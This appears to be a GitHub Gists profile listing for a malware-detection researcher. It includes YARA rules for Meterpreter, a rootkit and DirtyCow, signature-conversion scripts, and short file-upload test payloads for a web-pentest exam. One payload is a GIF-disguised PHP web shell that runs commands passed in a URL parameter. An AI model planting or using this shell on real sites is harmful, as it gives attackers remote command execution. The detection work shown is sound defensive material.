Nong Hoang Tu dmknght

Linux user Interested in malware detection, AV engine and 0-day hunting

dmknght / extra_test.php

Last active May 5, 2023 15:04

Extra test for file upload

dmknght<?php phpinfo();?>

dmknght / dmknght.php

Created May 5, 2023 13:42

WPT03 exam - payload RCE

GIF89a <?php system($_GET['c']);?>

dmknght / phpinfo.php

Created May 5, 2023 13:36

Payload for WPT03

GIF89a <?php phpinfo();?>

dmknght / test.txt

Last active May 5, 2023 13:30

exam test

GIF89a hehe đang làm exam nè

dmknght / parse_windef_sigs.nim

Last active February 25, 2023 06:23

Parse signatures from extracted WinDef's DB. This script won't extract compressed DB (use WDExtract instead)

	import streams
	import bitops
	import strutils
	import std/enumutils


	const
	db_name = "mpavbase.vdm.extracted"

	type

dmknght / clam_hashes_to_yara.nim

Created January 14, 2023 03:30

A quick nim script to convert ClamAV hashes to Yara rules

	# Compile: nim c --opt:speed clam_hashes_to_yara.nim
	import strutils

	const
	clam_db_path = "/home/dmknght/Desktop/performance_comparison/main.hdb"
	yr_converted_rule = "/home/dmknght/Desktop/performance_comparison/clam_hashes.yara"


	type
	HashSig = object

dmknght / meterpreter.yara

Created December 30, 2022 10:39

Rule to detect Metasploit's meterpreter shellcode

	rule elf64_meterpreter_revtcp_raw {
	meta:
	description = "Detect Meterpreter ELF 64 staged reverse TCP no encoders"
	strings:
	$ = {6a 22 [4] 0f 05 [10] 6a 29 [8] 0f 05}
	condition:
	all of them
	}

dmknght / symbiote.yara

Created November 17, 2022 21:58

Yara rule to detect Symbiote Linux Rootkit

	import "elf"

	/*
	When system is infected by this rootkit
	all processes load malicious lib (LD_PRELOAD)
	It's possible to detect via strings, however,
	current Yara version doesn't load ELF header
	of mapped file.
	*/

dmknght / dirtycow.yara

Last active October 31, 2022 20:39

A demo of using yara rule to match multiple import functions in ELF file

	import "elf"

	/*
	ANALYSIS
	Example is a compiled DirtyCow Exploit
	The binary has multiple unique functions: getpass, getpid, madvise, pthread_create, pthread_join, ptrace, waitpid
	Location: section ".dynstr", size 0xfa, Yara type "elf.SHT_STRTAB"
	Current ELF module of Yara version (4.2.0) doesn't have built-in function to check multiple functions imported in binary.
	This rule file shows an easy way to do it
	*/

dmknght / tree_sitter_py_scan.py

Last active March 13, 2022 02:52

Simple test code to scan malicious py scripts

	"""
	Code parser with tree sitter
	`sudo pip3 install tree_sitter`
	clone parser for each programming language (same dir with code py) `git clone https://github.com/tree-sitter/tree-sitter-python`
	create test code like eval(base64.decode(<base64_text>))
	"""


	from tree_sitter import Language, Parser